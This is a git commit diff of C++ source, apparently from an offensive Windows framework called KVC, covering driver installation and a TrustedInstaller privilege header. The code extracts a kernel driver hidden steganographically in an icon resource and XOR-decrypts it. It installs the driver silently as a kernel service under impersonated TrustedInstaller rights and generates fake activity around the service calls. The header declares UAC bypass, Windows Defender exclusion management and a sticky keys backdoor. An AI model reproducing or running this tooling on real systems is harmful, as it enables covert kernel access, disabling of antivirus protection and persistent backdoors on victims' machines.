Aktualizacja: 2025-10-11 12:17:46

This commit is contained in:
wesmar
2025-10-11 12:17:46 +02:00
parent e213c51768
commit 2b5baf2afc
5 changed files with 1494 additions and 1380 deletions

View File

@@ -7,6 +7,10 @@
namespace fs = std::filesystem;
// ============================================================================
// SERVICE CLEANUP AND MANAGEMENT
// ============================================================================
// Attempts to forcefully remove the driver service, ignoring most errors.
// This is a cleanup utility to ensure a clean state before installation.
bool Controller::ForceRemoveService() noexcept {
@@ -18,7 +22,8 @@ bool Controller::ForceRemoveService() noexcept {
if (!hSCM) {
return false;
}
// Try to open the service with DELETE access.
// Try to open the service with DELETE access
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
if (!hService) {
DWORD err = GetLastError();
@@ -35,207 +40,6 @@ bool Controller::ForceRemoveService() noexcept {
return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
}
// Driver service lifecycle management
bool Controller::StopDriverService() noexcept {
DEBUG(L"StopDriverService called");
if (!InitDynamicAPIs()) {
DEBUG(L"InitDynamicAPIs failed in StopDriverService");
return false;
}
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) {
DEBUG(L"OpenSCManagerW failed: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
DEBUG(L"Service does not exist - considered stopped");
return true;
}
DEBUG(L"OpenServiceW failed: %d", err);
return false;
}
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
DEBUG(L"Service already stopped");
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return true;
}
}
SERVICE_STATUS stopStatus;
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"ControlService result: %d, error: %d", success, err);
return success || err == ERROR_SERVICE_NOT_ACTIVE;
}
// Extract driver from steganographic icon resource
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
if (iconData.size() <= 9662) {
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
return {};
}
// Skip first 9662 bytes (actual icon data) to get embedded driver
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
}
// Decrypt embedded driver using XOR cipher
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
if (encryptedData.empty()) {
ERROR(L"No encrypted driver data provided");
return {};
}
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData;
// Simple XOR decryption with repeating key
for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey'
}
return decryptedData;
}
// Silent driver installation with TrustedInstaller privileges
bool Controller::InstallDriverSilently() noexcept {
ForceRemoveService();
// Check for zombie service state
if (IsServiceZombie()) {
CRITICAL(L""); // była ERROR
CRITICAL(L"===============================================================");
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
CRITICAL(L"===============================================================");
CRITICAL(L"");
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
CRITICAL(L"removed until the system is restarted. This typically occurs");
CRITICAL(L"when driver loading is interrupted during initialization.");
CRITICAL(L"");
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
INFO(L"After restart, the driver will load normally"); // INFO zostaje
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L"");
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) return false;
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) return false;
fs::path tempDir = GetSystemTempPath();
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false;
fs::path driverDir = GetDriverStorePath();
// Ensure target directory exists with TrustedInstaller privileges
DWORD attrs = GetFileAttributesW(driverDir.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// Directory doesn't exist - create it with TrustedInstaller rights
std::wstring createDirCommand = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
if (!RunAsTrustedInstallerSilent(createDirCommand)) {
DeleteFileW(tempDriverPath.c_str());
ERROR(L"Failed to create driver directory with TrustedInstaller privileges");
return false;
}
}
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Copy with system privileges
std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\"";
if (!RunAsTrustedInstallerSilent(copyCommand)) {
DeleteFileW(tempDriverPath.c_str());
return false;
}
DeleteFileW(tempDriverPath.c_str());
return RegisterDriverServiceSilent(driverPath.wstring());
}
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
if (!InitDynamicAPIs()) return false;
if (IsServiceZombie()) {
DEBUG(L"Zombie service detected - restart required");
return false;
}
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
if (hService) CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
bool Controller::StartDriverServiceSilent() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
bool success = true;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState != SERVICE_RUNNING) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// Detects zombie service state (marked for deletion but not yet removed).
// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required.
bool Controller::IsServiceZombie() noexcept {
@@ -260,153 +64,76 @@ bool Controller::IsServiceZombie() noexcept {
return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
}
// Legacy driver installation with enhanced error handling
bool Controller::InstallDriver() noexcept {
ForceRemoveService();
// Check for zombie service state
if (IsServiceZombie()) {
CRITICAL(L""); // była ERROR
CRITICAL(L"===============================================================");
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
CRITICAL(L"===============================================================");
CRITICAL(L"");
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
CRITICAL(L"removed until the system is restarted. This typically occurs");
CRITICAL(L"when driver loading is interrupted during initialization.");
CRITICAL(L"");
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
INFO(L"After restart, the driver will load normally"); // INFO zostaje
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L"");
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource");
// ============================================================================
// SERVICE LIFECYCLE MANAGEMENT
// ============================================================================
bool Controller::StopDriverService() noexcept {
DEBUG(L"StopDriverService called");
if (!InitDynamicAPIs()) {
DEBUG(L"InitDynamicAPIs failed in StopDriverService");
return false;
}
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) {
ERROR(L"Failed to decrypt embedded driver data");
return false;
}
fs::path tempDir = fs::temp_directory_path();
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str());
return false;
}
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
fs::create_directories(driverDir, ec);
if (ec) {
INFO(L"Directory creation failed (may already exist)");
}
std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring();
INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
if (!RunAsTrustedInstaller(copyCommand)) {
ERROR(L"Failed to copy driver to system directory with elevated privileges");
DeleteFileW(tempDriverPath.c_str());
return false;
}
if (!fs::exists(driverPath)) {
ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
return false;
}
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
DEBUG(L"OpenSCManagerW failed: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pCreateServiceW(
hSCM, GetServiceName().c_str(), L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE
SERVICE_DEMAND_START, // start= demand
SERVICE_ERROR_NORMAL, driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err != ERROR_SERVICE_EXISTS) {
ERROR(L"Failed to create driver service: %d", err);
return false;
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
DEBUG(L"Service does not exist - considered stopped");
return true;
}
INFO(L"Driver service already exists, proceeding");
} else {
DEBUG(L"Failed to open service: %d", err);
return false;
}
SERVICE_STATUS status;
if (!QueryServiceStatus(hService, &status)) {
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
}
CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
return true;
}
bool Controller::UninstallDriver() noexcept {
StopDriverService();
if (!InitDynamicAPIs()) return true;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return true;
}
std::wstring serviceName = GetServiceName();
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"Service already stopped");
return true;
}
BOOL success = g_pDeleteService(hService);
if (status.dwCurrentState == SERVICE_RUNNING) {
if (!g_pControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"ControlService failed: %d", err);
return false;
}
// Wait for service to stop (up to 5 seconds)
for (int i = 0; i < 50; i++) {
Sleep(100);
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
break;
}
}
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
ERROR(L"Failed to delete driver service: %d", err);
return false;
}
}
// Clean up driver file
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\"";
RunAsTrustedInstallerSilent(delCommand);
}
}
DEBUG(L"Service stop completed");
return true;
}
@@ -450,4 +177,309 @@ bool Controller::StartDriverService() noexcept {
SUCCESS(L"Kernel driver service started successfully");
return true;
}
bool Controller::StartDriverServiceSilent() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
bool success = true;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState != SERVICE_RUNNING) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// ============================================================================
// DRIVER INSTALLATION - MAIN FUNCTION
// ============================================================================
bool Controller::InstallDriver() noexcept {
ForceRemoveService();
// Check for zombie service state
if (IsServiceZombie()) {
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
CRITICAL(L"===============================================================");
CRITICAL(L"");
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
CRITICAL(L"removed until the system is restarted. This typically occurs");
CRITICAL(L"when driver loading is interrupted during initialization.");
CRITICAL(L"");
INFO(L"Required action: Restart your computer to clear the zombie state");
INFO(L"After restart, the driver will load normally");
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L"");
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource");
return false;
}
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) {
ERROR(L"Failed to decrypt embedded driver data");
return false;
}
// ========================================================================
// REFACTORED: Direct write with TrustedInstaller privileges
// ========================================================================
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
INFO(L"Target driver path: %s", driverPath.c_str());
// Ensure directory exists with TrustedInstaller privileges
DWORD attrs = GetFileAttributesW(driverDir.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
ERROR(L"Failed to create driver directory");
return false;
}
}
// Write driver file directly with TrustedInstaller privileges
INFO(L"Writing driver file with TrustedInstaller privileges...");
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to system location");
return false;
}
// Verify file was written successfully
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
ERROR(L"Driver file verification failed: %s", driverPath.c_str());
return false;
}
SUCCESS(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());
// ========================================================================
// SERVICE REGISTRATION
// ========================================================================
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err != ERROR_SERVICE_EXISTS) {
ERROR(L"Failed to create driver service: %d", err);
return false;
}
INFO(L"Driver service already exists, proceeding");
} else {
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
}
CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
return true;
}
// ============================================================================
// SILENT INSTALLATION (for automated operations)
// ============================================================================
bool Controller::InstallDriverSilently() noexcept {
if (IsServiceZombie()) {
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) return false;
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) return false;
// ========================================================================
// REFACTORED: Direct write with TrustedInstaller privileges
// ========================================================================
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Ensure directory exists
DWORD attrs = GetFileAttributesW(driverDir.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
return false;
}
}
// Write driver directly with TrustedInstaller privileges
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
return false;
}
// Verify file
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
return false;
}
// Register service
return RegisterDriverServiceSilent(driverPath.wstring());
}
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
if (!InitDynamicAPIs()) return false;
if (IsServiceZombie()) {
DEBUG(L"Zombie service detected - restart required");
return false;
}
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
if (hService) CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// ============================================================================
// DRIVER UNINSTALLATION
// ============================================================================
bool Controller::UninstallDriver() noexcept {
StopDriverService();
if (!InitDynamicAPIs()) return true;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return true;
}
std::wstring serviceName = GetServiceName();
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
CloseServiceHandle(hSCM);
return true;
}
BOOL success = g_pDeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
ERROR(L"Failed to delete driver service: %d", err);
return false;
}
}
// Clean up driver file with TrustedInstaller privileges
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
// Try with TrustedInstaller if normal delete fails
m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring());
}
}
return true;
}
// ============================================================================
// DRIVER EXTRACTION AND DECRYPTION
// ============================================================================
// Extract driver from steganographic icon resource
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
if (iconData.size() <= 9662) {
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
return {};
}
// Skip first 9662 bytes (actual icon data) to get embedded driver
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
}
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
if (encryptedData.empty()) {
ERROR(L"No encrypted driver data provided");
return {};
}
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData;
// Simple XOR decryption with repeating key
for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()];
}
return decryptedData;
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,324 +1,101 @@
/**
* @file TrustedInstallerIntegrator.h
* @brief TrustedInstaller privilege escalation and system-level operations
* @author Marek Wesolowski
* @date 2025
* @copyright KVC Framework
*
* Provides maximum privilege access through TrustedInstaller token impersonation,
* enabling registry manipulation, Defender exclusions, and protected system operations.
* Bypasses UAC and achieves SYSTEM + TrustedInstaller privileges for maximum access.
*/
#pragma once
#include <windows.h>
#include <string>
#include <vector>
/**
* @class TrustedInstallerIntegrator
* @brief Manages TrustedInstaller privilege escalation for maximum system access
*
* This class handles:
* - Token acquisition and caching from TrustedInstaller service
* - Elevated command execution with SYSTEM + TrustedInstaller privileges
* - Windows Defender exclusion management (paths, processes, extensions, IPs)
* - Sticky keys backdoor installation/removal
* - Context menu registry integration
* - Comprehensive privilege enablement for maximum system access
*
* @note Requires administrative privileges for initial token acquisition
* @warning TrustedInstaller access provides complete system control
*/
class TrustedInstallerIntegrator
{
public:
/**
* @brief Construct TrustedInstaller integrator
*
* Initializes internal state but does not acquire tokens immediately.
* Token acquisition happens on first privileged operation.
*/
TrustedInstallerIntegrator();
/**
* @brief Destructor with token cleanup
*
* Releases any acquired tokens and reverts impersonation if active.
*/
~TrustedInstallerIntegrator();
/**
* @brief Types of Windows Defender exclusions
*
* Categorizes different exclusion types for precise Defender management.
*/
enum class ExclusionType {
Paths, ///< File/folder path exclusions (e.g., "C:\Windows\Temp")
Processes, ///< Process name exclusions (e.g., "notepad.exe")
Extensions, ///< File extension exclusions (e.g., ".exe", ".dll")
IpAddresses ///< IP address exclusions (e.g., "192.168.1.1", "10.0.0.0/24")
Paths,
Processes,
Extensions,
IpAddresses
};
/**
* @brief Execute command with TrustedInstaller privileges (visible window)
* @param commandLine Command to execute
* @return true if execution successful
* @note Shows command window during execution
* @note Uses CreateProcessAsTrustedInstaller internally
*/
// Process execution
bool RunAsTrustedInstaller(const std::wstring& commandLine);
/**
* @brief Execute command with TrustedInstaller privileges (hidden window)
* @param commandLine Command to execute
* @return true if execution successful and exit code 0
* @note Waits up to 3 seconds for process completion
* @note Uses CreateProcessAsTrustedInstallerSilent internally
*/
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
/**
* @brief Add file/process to Windows Defender exclusions (legacy method)
* @param customPath Path to exclude (empty = current executable)
* @return true if exclusion added successfully
* @note For executables, adds both path and process exclusions
* @note Uses PowerShell Add-MpPreference cmdlet
*/
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
// File operations (NEW - direct write/delete with TrustedInstaller)
bool WriteFileAsTrustedInstaller(const std::wstring& filePath,
const std::vector<BYTE>& data) noexcept;
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
/**
* @brief Remove file/process from Windows Defender exclusions (legacy method)
* @param customPath Path to remove (empty = current executable)
* @return true if exclusion removed successfully
* @note Uses PowerShell Remove-MpPreference cmdlet
*/
// Registry operations (NEW - direct registry access with TrustedInstaller)
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept;
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::wstring& value) noexcept;
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
DWORD value) noexcept;
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::vector<BYTE>& data) noexcept;
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
std::wstring& outValue) noexcept;
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept;
// Defender exclusions
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
/**
* @brief Add Windows Explorer context menu entries
* @return true if registry keys created successfully
* @note Adds "Run as TrustedInstaller" to right-click menu
* @note Requires TrustedInstaller privileges for HKLM registry access
*/
bool AddContextMenuEntries();
/**
* @brief Add exclusion to Windows Defender by type
* @param type Exclusion type (Paths/Processes/Extensions/IpAddresses)
* @param value Value to exclude
* @return true if exclusion added successfully
* @note Uses PowerShell Add-MpPreference cmdlet
* @note Validates input based on exclusion type
*/
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
/**
* @brief Remove exclusion from Windows Defender by type
* @param type Exclusion type (Paths/Processes/Extensions/IpAddresses)
* @param value Value to remove
* @return true if exclusion removed successfully
* @note Uses PowerShell Remove-MpPreference cmdlet
*/
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
/**
* @brief Add file extension exclusion
* @param extension Extension to exclude (e.g., ".exe", ".dll")
* @return true if exclusion added successfully
* @note Automatically adds leading dot if missing
* @note Validates extension format
*/
bool AddPathExclusion(const std::wstring& path);
bool RemovePathExclusion(const std::wstring& path);
bool AddProcessExclusion(const std::wstring& processName);
bool RemoveProcessExclusion(const std::wstring& processName);
bool AddExtensionExclusion(const std::wstring& extension);
/**
* @brief Remove file extension exclusion
* @param extension Extension to remove
* @return true if exclusion removed successfully
*/
bool RemoveExtensionExclusion(const std::wstring& extension);
/**
* @brief Add IP address exclusion
* @param ipAddress IP address or CIDR notation (e.g., "192.168.1.1", "10.0.0.0/24")
* @return true if exclusion added successfully
* @note Validates IP address format
*/
bool AddIpAddressExclusion(const std::wstring& ipAddress);
/**
* @brief Remove IP address exclusion
* @param ipAddress IP address or CIDR notation to remove
* @return true if exclusion removed successfully
*/
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
/**
* @brief Install sticky keys backdoor (sethc.exe -> cmd.exe)
* @return true if backdoor installed successfully
* @note Requires system restart, adds cmd.exe to Defender exclusions
* @warning Security risk - only for authorized testing
* @note Uses Image File Execution Options registry key
*/
bool InstallStickyKeysBackdoor() noexcept;
/**
* @brief Remove sticky keys backdoor and restore original behavior
* @return true if backdoor removed successfully
* @note Removes IFEO registry key and Defender exclusions
*/
bool RemoveStickyKeysBackdoor() noexcept;
/**
* @brief Add process to Windows Defender exclusions
* @param processName Process name (e.g., "notepad.exe")
* @return true if exclusion added successfully
* @note Validates process name format
*/
bool AddProcessToDefenderExclusions(const std::wstring& processName);
/**
* @brief Remove process from Windows Defender exclusions
* @param processName Process name to remove
* @return true if exclusion removed successfully
*/
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
/**
* @brief Get array of all privilege names
* @return Pointer to array of privilege name strings
* @note Used for enabling comprehensive privileges on TrustedInstaller token
*/
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
// Sticky keys backdoor
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
/**
* @brief Get count of privileges in ALL_PRIVILEGES array
* @return Number of privilege names
*/
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
// Context menu
bool AddContextMenuEntries();
/**
* @brief Impersonate SYSTEM account
* @return true if impersonation successful
* @note Required step before acquiring TrustedInstaller token
* @note Uses SeDebugPrivilege to access SYSTEM processes
*/
// Token access
HANDLE GetCachedTrustedInstallerToken();
DWORD StartTrustedInstallerService();
bool PublicImpersonateSystem() { return ImpersonateSystem(); }
/**
* @brief Get cached TrustedInstaller token or acquire new one
* @return Handle to TrustedInstaller token, or nullptr on failure
* @note Token cached for 30 seconds, automatically enables all privileges
* @note Acquires token from TrustedInstaller service process
*/
HANDLE GetCachedTrustedInstallerToken();
/**
* @brief Start TrustedInstaller service and get its PID
* @return Process ID of TrustedInstaller service, or 0 on failure
* @note Waits up to 30 seconds for service to start
* @note Requires SC_MANAGER_ALL_ACCESS privileges
*/
DWORD StartTrustedInstallerService();
static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; }
static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
private:
/**
* @brief Complete Windows privilege set for maximum access
*
* Array containing all Windows privilege names for comprehensive enablement
* on TrustedInstaller token. Includes backup, restore, debug, and security privileges.
*/
static const LPCWSTR ALL_PRIVILEGES[];
/**
* @brief Number of privileges in ALL_PRIVILEGES array
*/
static const int PRIVILEGE_COUNT;
/**
* @brief Impersonate SYSTEM account using SeDebugPrivilege
* @return true if impersonation successful
* @note Internal implementation used by PublicImpersonateSystem()
*/
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName);
BOOL ImpersonateSystem();
/**
* @brief Create process with TrustedInstaller token (visible window)
* @param pid TrustedInstaller process ID
* @param commandLine Command to execute
* @return true if process creation successful
*/
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
/**
* @brief Create process with TrustedInstaller token (hidden window)
* @param pid TrustedInstaller process ID
* @param commandLine Command to execute
* @return true if process creation successful
*/
